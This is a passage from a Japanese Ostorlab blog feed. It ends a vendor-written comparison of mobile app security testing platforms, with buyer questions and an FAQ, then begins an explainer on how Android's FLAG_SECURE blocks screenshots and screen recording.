&lt;p&gt;&lt;a href="https://www.datatheorem.com/products/mobile-secure/"&gt;Data Theorem Mobile Secure&lt;/a&gt;は、より幅広いアプリケーションセキュリティのポートフォリオの中で、AndroidおよびiOSアプリケーションをカバーしています。公開資料では、静的解析と動的解析、振る舞い解析、サードパーティSDKの可視化、リリーステスト、CI/CDとの連携、アプリケーションの発見について説明しています。&lt;/p&gt;
&lt;p&gt;専用のAPI機能は、Data Theoremの別製品であるAPI Secureを通じて提供されます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;確認すべきこと&lt;/strong&gt;：Mobile Secure、API Secure、Mobile Protect、およびコードスキャン機能がどのようにパッケージ化されているかを確認します。モバイルのトラフィック観察と能動的なAPIテストを区別して説明するようベンダーに求め、修正済みの検出結果がどのように再テストされるかを実演してもらってください。&lt;/p&gt;
&lt;h3 id="quokka q-mast"&gt;Quokka Q-mast&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://www.quokka.io/products/q-mast"&gt;Quokka Q-mast&lt;/a&gt;は、ソースコードを必要とせずに、コンパイル済みのAndroidおよびiOSアプリケーションを解析します。Quokkaは、静的、動的、インタラクティブ、強制パス実行に加え、プライバシー、コンプライアンス、ソフトウェアサプライチェーンのレポートを公開しています。&lt;/p&gt;
&lt;p&gt;Quokkaは、サードパーティアプリケーションを対象とするアプリベッティングのユースケース向けにQ-scoutも提供しています。Q-mastとQ-scoutは、異なる要件に対応するものです。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;確認すべきこと&lt;/strong&gt;：認証が必要なワークフローのカバレッジ、APIテストの深さ、CI/CDでの挙動、そしてQ-mastとQ-scoutの役割分担をテストします。バックエンドのカバレッジがネットワークの可視化なのか、能動的なAPIテストなのかを確認してください。&lt;/p&gt;
&lt;h3 id="zimperium zscan"&gt;Zimperium zScan&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://zimperium.com/zscan/"&gt;Zimperium zScan&lt;/a&gt;は、セキュリティ、プライバシー、保護、コンプライアンスの問題を対象としたモバイルアプリケーションスキャンを行います。Zimperiumの公開資料では、IPA、APK、AAB、アプリストアのURLを入力として受け付けること、およびアプリケーション保護の制御に関するチェックについて説明しています。&lt;/p&gt;
&lt;p&gt;zScanは、より広範な&lt;a href="https://zimperium.com/maps/"&gt;Zimperium Mobile Application Protection Suite&lt;/a&gt;の一部です。このポートフォリオには、アプリケーションを堅牢化するzShieldや、アプリ内の実行時保護を行うzDefendも含まれています。これらの製品を、zScan自体の機能として扱うべきではありません。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;確認すべきこと&lt;/strong&gt;：zScanを、より広い保護ポートフォリオとは切り離して評価します。ワークフローの自動化、APIテストの深さ、CI/CDでの挙動、そしてどの機能に他のMAPS製品やSDKの組み込みが必要かを確認してください。&lt;/p&gt;
&lt;h3 id="mobsf"&gt;MobSF&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://github.com/MobSF/Mobile-Security-Framework-MobSF"&gt;Mobile Security Framework（MobSF）&lt;/a&gt;は、Android、iOS、Windowsのモバイルセキュリティ評価、ペネトレーションテスト、マルウェア解析、プライバシー解析のための、GPL-3.0ライセンスのオープンソースフレームワークです。&lt;/p&gt;
&lt;p&gt;バイナリとソースコードの静的解析、動的解析、実行時とネットワークの調査、API、コマンドラインによる自動化に対応しています。環境の運用と保守、互換性のあるテスト端末の用意、結果の統合、検出結果のトリアージ、ガバナンスと修復のプロセスの確立は、引き続き導入するチームの責任となります。&lt;/p&gt;
&lt;p&gt;MobSFのドキュメントには、特にiOSのテストや、サポートされるroot化済みAndroidのバージョンに関して、動的解析環境の制約も記載されています。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;確認すべきこと&lt;/strong&gt;：インフラ、保守、互換性のある端末または仮想デバイスへのアクセス、トリアージ、連携、ガバナンス、そしてフレームワークの出力を反復可能なセキュリティプログラムへと変えるために必要な社内の専門知識を考慮に入れてください。&lt;/p&gt;
&lt;h3 id="corelliumの位置付け"&gt;Corelliumの位置付け&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://www.corellium.com/"&gt;Corellium&lt;/a&gt;は、仮想化されたiOSおよびAndroidデバイス、rootレベルのアクセス、計装、そしてモバイルペネトレーションテスト、脆弱性研究、マルウェア解析、自動テストのためのツールを提供しています。&lt;/p&gt;
&lt;p&gt;Corelliumは、マネージドMASTのカテゴリに直接相当するものではなく、それに隣接するものです。Corelliumはセキュリティツールや研究者が使用する環境を提供できますが、購入者は、仮想デバイスプラットフォームがアプリケーションのインベントリ、自動トリアージ、ポリシー管理、修復ワークフロー、継続的なAppSecプログラム管理まで提供すると想定すべきではありません。&lt;/p&gt;
&lt;p&gt;MobSFは、iOSの動的解析に使える環境の一つとしてCorelliumを挙げています。&lt;/p&gt;
&lt;h2 id="mastプラットフォームの選び方"&gt;MASTプラットフォームの選び方&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;必要なセキュリティ上の成果を定義する&lt;/strong&gt;：当面の目標が、リリースゲート、継続的なAppSec、コンプライアンスのエビデンス、アプリベッティング、特定時点でのペネトレーションテスト、アプリケーション保護、能動的なエクスプロイト検証のいずれなのかを決めます。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;リリース成果物をテストする&lt;/strong&gt;：価値実証では、ユーザーがインストールするAPK、AAB、IPA形式を評価するよう求めます。コンパイル済みの成果物には、ソース解析だけでは表れない可能性のあるパッケージングの判断、SDK、エンタイトルメント、権限、シークレット、実行時の挙動が含まれていることがあります。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;代表的なワークフローを使う&lt;/strong&gt;：現実的なテストデータと、アプリケーションの機密性の高い挙動に到達する、認可されたワークフローを用意します。プラットフォームがどの経路と状態を実行したかを示すエビデンスを求めてください。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;再現可能なエビデンスを求める&lt;/strong&gt;：いくつかの検出結果を選び、スキャンを実行していない開発者にそれらを再現してもらいます。リクエストとレスポンス、実行時の観察結果、スクリーンショットやトレース、影響を受けるコンポーネント、悪用の条件、修復ガイダンスをレビューします。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;モバイルアプリケーションとバックエンドをあわせて評価する&lt;/strong&gt;：APIのカバレッジが、エンドポイントの発見なのか、受動的な観察なのか、能動的で認可されたテストなのかを確認します。エビデンスが、モバイル上の操作とその結果として生じるバックエンドの挙動を結び付けているかを確認してください。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;一つの問題を修復まで追跡する&lt;/strong&gt;：検出結果を割り当て、開発システムに送り、提案された修正をレビューし、新しいビルドをリリースして、影響を受けた挙動を再テストします。スキャンの完了は最終的な成果ではありません。検証された修正こそが最終的な成果です。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;運用モデルを確認する&lt;/strong&gt;：料金体系の要素、同時実行数、動的テストの時間、AIの使用量、データの保持期間、提供地域、デプロイ、アクセス制御、監査ログ、認証情報の取り扱いを確認します。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="すべてのmastベンダーに尋ねるべき価値実証の質問"&gt;すべてのMASTベンダーに尋ねるべき価値実証の質問&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;プラットフォームは、どのワークフローとアプリケーションの状態を実行したか&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;それらの経路に到達したことを示すエビデンスは何か&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;どの検出結果が静的に推論され、どれが動的に観察され、どれが能動的に検証されたものか&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;優先度の高い各検出結果を、開発者は何に基づいて再現できるか&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;APIのカバレッジとは、発見、受動的なトラフィック解析、能動的で認可されたテストのいずれを意味するのか&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;サードパーティSDKはどのように特定され、アプリケーションのリスクと結び付けられるのか&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;プラットフォームは、アプリケーション保護の制御を、標準的な脆弱性スキャンとは別にテストできるか&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;修正がコミットされた後には何が起きるのか&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;影響を受けた挙動がもはや脆弱でないことを、プラットフォームはどのように検証するのか&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;どの機能が含まれていて、どの機能が別ライセンスか、または人によるサービスとして提供されるのか&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;どのビルド、認証情報、テストデータ、AIへの入力が、どこに、どのくらいの期間保持されるのか&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="よくある質問"&gt;よくある質問&lt;/h2&gt;
&lt;h3 id="androidとiosに最適なmastツールはどれですか"&gt;AndroidとiOSに最適なMASTツールはどれですか&lt;/h3&gt;
&lt;p&gt;ここで評価したAndroidとiOS向けの主要なMASTツールは、Ostorlab、NowSecure、Appknox、Data Theorem、Quokka Q-mast、Zimperium zScan、MobSFです。購入者は、モバイルのカバレッジ、動的テストの深さ、APIテスト、エビデンス、デプロイ、連携、修復ワークフローを比較すべきです。&lt;/p&gt;
&lt;h3 id="最適なmastツールはどれですか"&gt;最適なMASTツールはどれですか&lt;/h3&gt;
&lt;p&gt;このガイドで比較したMASTツールは、Ostorlab、NowSecure、Appknox、Data Theorem、Quokka Q-mast、Zimperium zScan、MobSFです。適切な選択は、アプリケーション、必要なワークフロー、エビデンスの基準、デプロイの制約、そしてチームが自動テスト、エージェント型テスト、人間主導のテストのどれを必要としているかによって決まります。&lt;/p&gt;
&lt;h3 id="最適なモバイルセキュリティテストツールはどれですか"&gt;最適なモバイルセキュリティテストツールはどれですか&lt;/h3&gt;
&lt;p&gt;商用のモバイルアプリケーションセキュリティテストプラットフォームには、Ostorlab、NowSecure、Appknox、Data Theorem、Quokka Q-mast、Zimperium zScanがあります。MobSFはオープンソースのテストフレームワークであり、Corelliumは、マネージドMASTプログラムの直接の代替ではなく、それに隣接する仮想デバイスプラットフォームです。&lt;/p&gt;
&lt;h3 id="エージェント型ペンテストに最適なmastプラットフォームはどれですか"&gt;エージェント型ペンテストに最適なMASTプラットフォームはどれですか&lt;/h3&gt;
&lt;p&gt;この比較では、エージェント型のモバイルペネトレーションテストにおいてOstorlabが際立っています。Mobile Deep Agentic Scanは、AIに導かれたワークフロー探索を用いて、ロジックの脆弱性を調査し、関連する弱点を連鎖させ、実行時の概念実証エビデンスによって検出結果を検証します。Multi Asset Deep Agentic Scanは、その調査を、相互に接続されたモバイル、Web、API、ネットワーク、ソースコード、ファイルの各アセットにまで広げます。&lt;/p&gt;
&lt;h3 id="mobsfはmastプラットフォームですか"&gt;MobSFはMASTプラットフォームですか&lt;/h3&gt;
&lt;p&gt;MobSFは、マネージドな商用MASTプログラムではなく、オープンソースのモバイルセキュリティテスト・研究フレームワークです。AndroidとiOSの静的解析と動的解析に対応していますが、デプロイ、テスト環境、保守、トリアージ、ガバナンス、連携は導入するチームが担います。&lt;/p&gt;
&lt;h3 id="mast、rasp、mtd、アプリベッティングの違いは何ですか"&gt;MAST、RASP、MTD、アプリベッティングの違いは何ですか&lt;/h3&gt;
&lt;p&gt;MASTは、アプリケーションのセキュリティとプライバシーの弱点をテストします。RASPまたはアプリ内保護は実行中のアプリケーションを防御し、モバイル脅威防御（MTD）は端末とユーザーを保護し、アプリベッティングは、組織が管理端末での利用を許可する可能性のあるサードパーティアプリケーションを評価します。&lt;/p&gt;
&lt;h3 id="自動化されたmastツールは手動のペネトレーションテストに取って代わりますか"&gt;自動化されたMASTツールは手動のペネトレーションテストに取って代わりますか&lt;/h3&gt;
&lt;p&gt;いいえ。自動化されたMASTはリリースをまたいだ反復可能なテストを支える一方で、熟練したペンテスターは、ビジネスのコンテキスト、柔軟な調査、人間の判断をもたらします。エージェント型のテストはワークフローの探索とエクスプロイトの検証をより多く自動化できますが、必要な組み合わせは、アプリケーションのリスクと保証上の義務に基づいて決めるべきです。&lt;/p&gt;
&lt;h3 id="mastツールはどのようなエビデンスを提供すべきですか"&gt;MASTツールはどのようなエビデンスを提供すべきですか&lt;/h3&gt;
&lt;p&gt;MASTの検出結果には、何がテストされたか、何が観察されたか、その結果がなぜ重要か、影響を受けるコンポーネントやエンドポイント、そして他の人がそれをどのように再現できるかを示すべきです。裏付けとなるエビデンスには、実行時のトレース、リクエストとレスポンス、スクリーンショット、ストレージの観察結果、コードパス、エクスプロイトの手順、安全な概念実証などがあります。&lt;/p&gt;
&lt;h3 id="mastプラットフォームはバックエンドapiをテストすべきですか"&gt;MASTプラットフォームはバックエンドAPIをテストすべきですか&lt;/h3&gt;
&lt;p&gt;はい。認可されたスコープがバックエンドのテストを許可している場合はテストすべきです。購入者は、エンドポイントの発見やトラフィックの観察と能動的なAPIテストとを区別し、アプリケーション上の操作と、その結果として生じるバックエンドの挙動およびセキュリティリスクとを結び付けるエビデンスを求めるべきです。&lt;/p&gt;
&lt;h2 id="自社のチームはどのmastプラットフォームを選ぶべきか"&gt;自社のチームはどのMASTプラットフォームを選ぶべきか&lt;/h2&gt;
&lt;p&gt;MASTの評価は、機能のチェックリストやスキャンの完了で終わらせるべきではありません。プラットフォームは、意味のあるアプリケーションのワークフローに到達し、関連する脆弱性を特定または検証し、開発者が対応できるエビデンスを生成し、修復によってリスクが解消されたことを検証できることを実証すべきです。&lt;/p&gt;
&lt;p&gt;ここで評価した公開文書上の機能の範囲では、Ostorlabは、自動化されたモバイルセキュリティテストをエージェント型の調査へと拡張している点で際立っています。&lt;/p&gt;
&lt;p&gt;Mobile Deep Agentic Scanは、アプリケーションのワークフローを探索し、ロジックの脆弱性を調査し、関連する弱点を連鎖させ、実行時の概念実証エビデンスを用いて検出結果を検証します。Multi Asset Deep Agentic Scanは、その調査をモバイル、Web、API、ネットワーク、ソースコード、補助ファイルの各アセットにまで広げます。そのうえでOstorlabは、検出結果を修復の支援と修正の検証に結び付けます。&lt;/p&gt;
&lt;p&gt;エージェント型のMASTを評価するチームにとって、決め手となる問いは次のとおりです。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;そのプラットフォームは、脆弱かもしれないものを報告することしかできないのか。それとも、アプリケーションの挙動を調査し、何が悪用可能かを実証し、修正の検証を支援できるのか。&lt;/strong&gt;&lt;/p&gt;
&lt;h2 id="確認した各社自身の情報源"&gt;確認した各社自身の情報源&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://mas.owasp.org/MASTG/"&gt;OWASP Mobile Application Security Testing Guide&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://mas.owasp.org/MASVS/"&gt;OWASP Mobile Application Security Verification Standard&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://ostorlab.co/solutions/secure_mobile_app"&gt;Ostorlabのモバイルセキュリティテストの概要&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://ostorlab.co/"&gt;Ostorlabのプラットフォームと修復の概要&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://docs.ostorlab.co/tutorials/mobile_scan_profiles.html"&gt;Ostorlabのモバイルスキャンプロファイル&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://docs.ostorlab.co/tutorials/mobile_shielding_scan.html"&gt;Ostorlab Mobile Shielding Scan&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://docs.ostorlab.co/tutorials/mobile_deep_agentic_scan.html"&gt;Ostorlab Mobile Deep Agentic Scanのガイド&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://blog.ostorlab.co/ostorlab-multi-asset-deep-agentic-scan.html"&gt;Ostorlab Multi Asset Deep Agentic Scan&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://github.com/marketplace/actions/ostorlab-mobile-app-scanner"&gt;OstorlabのGitHub連携&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://www.nowsecure.com/platform/"&gt;NowSecure Platform&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://www.nowsecure.com/blog/2024/09/17/nowsecure-ai-navigator/"&gt;NowSecure AI Navigator&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://www.nowsecure.com/services/penetration-testing/"&gt;NowSecureのモバイルペネトレーションテストサービス&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://www.appknox.com/"&gt;Appknoxの製品概要&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://www.datatheorem.com/products/mobile-secure/"&gt;Data Theorem Mobile Secure&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://www.quokka.io/products/q-mast"&gt;Quokka Q-mast&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://zimperium.com/zscan/"&gt;Zimperium zScan&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://zimperium.com/maps/"&gt;Zimperium Mobile Application Protection Suite&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://github.com/MobSF/Mobile-Security-Framework-MobSF"&gt;Mobile Security Frameworkのリポジトリとドキュメント&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://www.corellium.com/"&gt;Corellium仮想ハードウェアプラットフォーム&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;script type="application/ld+json"&gt;
{
  "@context": "https://schema.org",
  "@graph": [
    {
      "@type": "TechArticle",
      "@id": "https://blog.ostorlab.co/top-mobile-app-security-testing-platforms-2026.html#article",
      "mainEntityOfPage": "https://blog.ostorlab.co/top-mobile-app-security-testing-platforms-2026.html",
      "headline": "2026年版 最適なモバイルアプリケーションセキュリティテスト（MAST）プラットフォーム",
      "description": "Ostorlab、NowSecure、Appknox、Data Theorem、Quokka、Zimperium、MobSFを含む、2026年のAndroidとiOS向けの最適なMASTツールを比較します。",
      "image": "https://blog.ostorlab.co/static/img/2025-12-31_top_mobile_app_security_testing_platforms_2026/cover.png",
      "datePublished": "2026-01-05",
      "dateModified": "2026-09-07",
      "inLanguage": "ja",
      "author": {
        "@type": "Person",
        "name": "Bilal Harras"
      },
      "publisher": {
        "@type": "Organization",
        "name": "Ostorlab",
        "url": "https://ostorlab.co/"
      },
      "about": [
        "モバイルアプリケーションセキュリティテスト",
        "MAST",
        "Androidのセキュリティテスト",
        "iOSのセキュリティテスト",
        "エージェント型ペネトレーションテスト"
      ]
    },
    {
      "@type": "ItemList",
      "@id": "https://blog.ostorlab.co/top-mobile-app-security-testing-platforms-2026.html#mast-platforms",
      "name": "2026年にAndroidとiOS向けに評価したMASTプラットフォーム",
      "description": "公開文書上の機能に基づいて評価した7つのモバイルアプリケーションセキュリティテストプラットフォーム。順序はOstorlabが公開するこの比較記事の構成を反映したものであり、客観的な市場ランキングではありません。",
      "numberOfItems": 7,
      "itemListElement": [
        {
          "@type": "ListItem",
          "position": 1,
          "name": "Ostorlab",
          "url": "https://ostorlab.co/solutions/secure_mobile_app"
        },
        {
          "@type": "ListItem",
          "position": 2,
          "name": "NowSecure",
          "url": "https://www.nowsecure.com/platform/"
        },
        {
          "@type": "ListItem",
          "position": 3,
          "name": "Appknox",
          "url": "https://www.appknox.com/"
        },
        {
          "@type": "ListItem",
          "position": 4,
          "name": "Data Theorem",
          "url": "https://www.datatheorem.com/products/mobile-secure/"
        },
        {
          "@type": "ListItem",
          "position": 5,
          "name": "Quokka Q-mast",
          "url": "https://www.quokka.io/products/q-mast"
        },
        {
          "@type": "ListItem",
          "position": 6,
          "name": "Zimperium zScan",
          "url": "https://zimperium.com/zscan/"
        },
        {
          "@type": "ListItem",
          "position": 7,
          "name": "MobSF",
          "url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF"
        }
      ]
    },
    {
      "@type": "FAQPage",
      "@id": "https://blog.ostorlab.co/top-mobile-app-security-testing-platforms-2026.html#faq",
      "mainEntity": [
        {
          "@type": "Question",
          "name": "AndroidとiOSに最適なMASTツールはどれですか",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "ここで評価したAndroidとiOS向けの主要なMASTツールは、Ostorlab、NowSecure、Appknox、Data Theorem、Quokka Q-mast、Zimperium zScan、MobSFです。購入者は、モバイルのカバレッジ、動的テストの深さ、APIテスト、エビデンス、デプロイ、連携、修復ワークフローを比較すべきです。"
          }
        },
        {
          "@type": "Question",
          "name": "最適なMASTツールはどれですか",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "このガイドで比較したMASTツールは、Ostorlab、NowSecure、Appknox、Data Theorem、Quokka Q-mast、Zimperium zScan、MobSFです。適切な選択は、アプリケーション、必要なワークフロー、エビデンスの基準、デプロイの制約、そしてチームが自動テスト、エージェント型テスト、人間主導のテストのどれを必要としているかによって決まります。"
          }
        },
        {
          "@type": "Question",
          "name": "最適なモバイルセキュリティテストツールはどれですか",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "商用のモバイルアプリケーションセキュリティテストプラットフォームには、Ostorlab、NowSecure、Appknox、Data Theorem、Quokka Q-mast、Zimperium zScanがあります。MobSFはオープンソースのテストフレームワークであり、Corelliumは、マネージドMASTプログラムの直接の代替ではなく、それに隣接する仮想デバイスプラットフォームです。"
          }
        },
        {
          "@type": "Question",
          "name": "エージェント型ペンテストに最適なMASTプラットフォームはどれですか",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "この比較では、エージェント型のモバイルペネトレーションテストにおいてOstorlabが際立っています。Mobile Deep Agentic Scanは、AIに導かれたワークフロー探索を用いて、ロジックの脆弱性を調査し、関連する弱点を連鎖させ、実行時の概念実証エビデンスによって検出結果を検証します。Multi Asset Deep Agentic Scanは、その調査を、相互に接続されたモバイル、Web、API、ネットワーク、ソースコード、ファイルの各アセットにまで広げます。"
          }
        },
        {
          "@type": "Question",
          "name": "MobSFはMASTプラットフォームですか",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "MobSFは、マネージドな商用MASTプログラムではなく、オープンソースのモバイルセキュリティテスト・研究フレームワークです。AndroidとiOSの静的解析と動的解析に対応していますが、デプロイ、テスト環境、保守、トリアージ、ガバナンス、連携は導入するチームが担います。"
          }
        },
        {
          "@type": "Question",
          "name": "MAST、RASP、MTD、アプリベッティングの違いは何ですか",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "MASTは、アプリケーションのセキュリティとプライバシーの弱点をテストします。RASPまたはアプリ内保護は実行中のアプリケーションを防御し、モバイル脅威防御（MTD）は端末とユーザーを保護し、アプリベッティングは、組織が管理端末での利用を許可する可能性のあるサードパーティアプリケーションを評価します。"
          }
        },
        {
          "@type": "Question",
          "name": "自動化されたMASTツールは手動のペネトレーションテストに取って代わりますか",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "いいえ。自動化されたMASTはリリースをまたいだ反復可能なテストを支える一方で、熟練したペンテスターは、ビジネスのコンテキスト、柔軟な調査、人間の判断をもたらします。エージェント型のテストはワークフローの探索とエクスプロイトの検証をより多く自動化できますが、必要な組み合わせは、アプリケーションのリスクと保証上の義務に基づいて決めるべきです。"
          }
        },
        {
          "@type": "Question",
          "name": "MASTツールはどのようなエビデンスを提供すべきですか",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "MASTの検出結果には、何がテストされたか、何が観察されたか、その結果がなぜ重要か、影響を受けるコンポーネントやエンドポイント、そして他の人がそれをどのように再現できるかを示すべきです。裏付けとなるエビデンスには、実行時のトレース、リクエストとレスポンス、スクリーンショット、ストレージの観察結果、コードパス、エクスプロイトの手順、安全な概念実証などがあります。"
          }
        },
        {
          "@type": "Question",
          "name": "MASTプラットフォームはバックエンドAPIをテストすべきですか",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "はい。認可されたスコープがバックエンドのテストを許可している場合はテストすべきです。購入者は、エンドポイントの発見やトラフィックの観察と能動的なAPIテストとを区別し、アプリケーション上の操作と、その結果として生じるバックエンドの挙動およびセキュリティリスクとを結び付けるエビデンスを求めるべきです。"
          }
        }
      ]
    }
  ]
}
&lt;/script&gt;</content><category term="Product"/><category term="android"/><category term="ios"/><category term="security"/><category term="mobile"/><category term="top-list"/><category term="mast"/><category term="agentic-pentest"/></entry><entry><title>AndroidのFLAG_SECURE：スクリーンショットと画面録画をブロックする</title><link href="https://blog.ostorlab.co/ja/understanding-android-flag-secure-screen-security.html" rel="alternate"/><published>2025-12-29T16:20:00+01:00</published><updated>2025-12-29T16:20:00+01:00</updated><author><name>Bilal Harras</name></author><id>tag:blog.ostorlab.co,2025-12-29:/ja/understanding-android-flag-secure-screen-security.html</id><summary type="html">&lt;p&gt;AndroidのFLAG_SECUREがスクリーンショット、画面録画、最近使ったアプリのプレビューをどのようにブロックするかを、コード例、ユースケース、制限事項、キャスト時の挙動とともに解説します。&lt;/p&gt;</summary><content type="html">&lt;p&gt;ときどき、まるで魔法のように感じられるAndroidのフラグに出くわすことがあります。&lt;code&gt;FLAG_SECURE&lt;/code&gt;もその一つです。これを有効にすると、アプリは突然「スクリーンショットが撮れない」状態になります。いつものボタンの組み合わせが効かなくなり、画面録画は不思議なことに真っ黒になり、UIは最近使ったアプリのプレビューから消えてしまいます。まるで強力なDRMのスイッチのように見えます。&lt;/p&gt;
&lt;p&gt;実際はそうではありません。内部的には、&lt;code&gt;FLAG_SECURE&lt;/code&gt;はとてもシンプルなものです。Androidに対して「この特定のウィンドウは機密性が高いので、そのピクセルをキャプチャさせないでほしい」と伝える手段にすぎません。それだけです。暗号化も秘密のハンドシェイクもなく、誰かが画面の内容を取得しようとしたときに、そのウィンドウをどう扱うべきかをシステムに強く示すだけです。&lt;/p&gt;
&lt;p&gt;本記事では、&lt;code&gt;FLAG_SECURE&lt;/code&gt;が実際に何をするのか、概念的にどう動作するのか、コードでどう使うのか、どこで有効にするのが理にかなっているのか、ユーザーを煩わせずに使うためのパターン、そして決して無視してはならない制限事項を順に見ていきます。&lt;/p&gt;
&lt;h2 id="1. flag_secureが実際に行うこと"&gt;&lt;strong&gt;1. &lt;code&gt;FLAG_SECURE&lt;/code&gt;が実際に行うこと&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;まずは、このフラグが有効なときに人々が実際に何を&lt;em&gt;目にする&lt;/em&gt;のかから始めましょう。たいていの疑問はそこから生まれるからです。&lt;/p&gt;
&lt;p&gt;ウィンドウ（たとえば&lt;code&gt;Activity&lt;/code&gt;）に&lt;code&gt;FLAG_SECURE&lt;/code&gt;を設定すると、Androidはそのウィンドウをキャプチャ可能な通常のUIとして扱うのをやめ、ピクセルを求めるあらゆるものに対して「手出し禁止」の印を付けます。&lt;/p&gt;
&lt;p&gt;最初に気づく副作用は、&lt;a href="https://docs.ostorlab.co/kb/APK_SCREENSHOT_DISABLED/index.html"&gt;&lt;strong&gt;スクリーンショットがブロックされる&lt;/strong&gt;&lt;/a&gt;ことです。セキュアなウィンドウが前面にある間は、いつものシステムのショートカット（たとえば電源 + 音量下）でスクリーンショットが撮れないか、完全に黒い、あるいは何も写っていない画像が生成されます。ユーザーから見ると、端末がその画面のスクリーンショットを撮らないように見えるだけです。その裏では、Androidが忠実にルールに従っています。ウィンドウがセキュアとしてマークされているので、ピクセルが外に出ないのです。&lt;/p&gt;
&lt;p&gt;止められるのは標準のスクリーンショット機能だけではありません。&lt;strong&gt;サードパーティのスクリーンショットアプリの多く&lt;/strong&gt;も同じ状況に置かれます。これらのアプリも画面の内容をキャプチャするためにシステムレベルの仕組みに依存しており、セキュアなウィンドウに属するピクセルを要求すると、プラットフォームからは何も渡されません。結果は通常同じで、黒い画像や何も写っていない画像になるか、そもそもキャプチャに失敗します。ただし、別のカメラで画面を撮影することは依然として可能である点に注意してください。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;画面録画&lt;/strong&gt;についても状況は同様です。画面録画アプリでは通常、セキュアなウィンドウが表示されている場所に、アプリのコンテンツではなく黒い領域が表示されます。動画自体は得られますが、セキュアなウィンドウがフレーム内に現れる箇所はすべて暗い長方形になります。録画アプリによっては、周囲のシステムUIやセキュアでない他のウィンドウが映ることもありますが、自社のウィンドウは隠されたままです。機密性の高いコンテンツがある場所だけ、録画に穴を開けるようなものです。&lt;/p&gt;
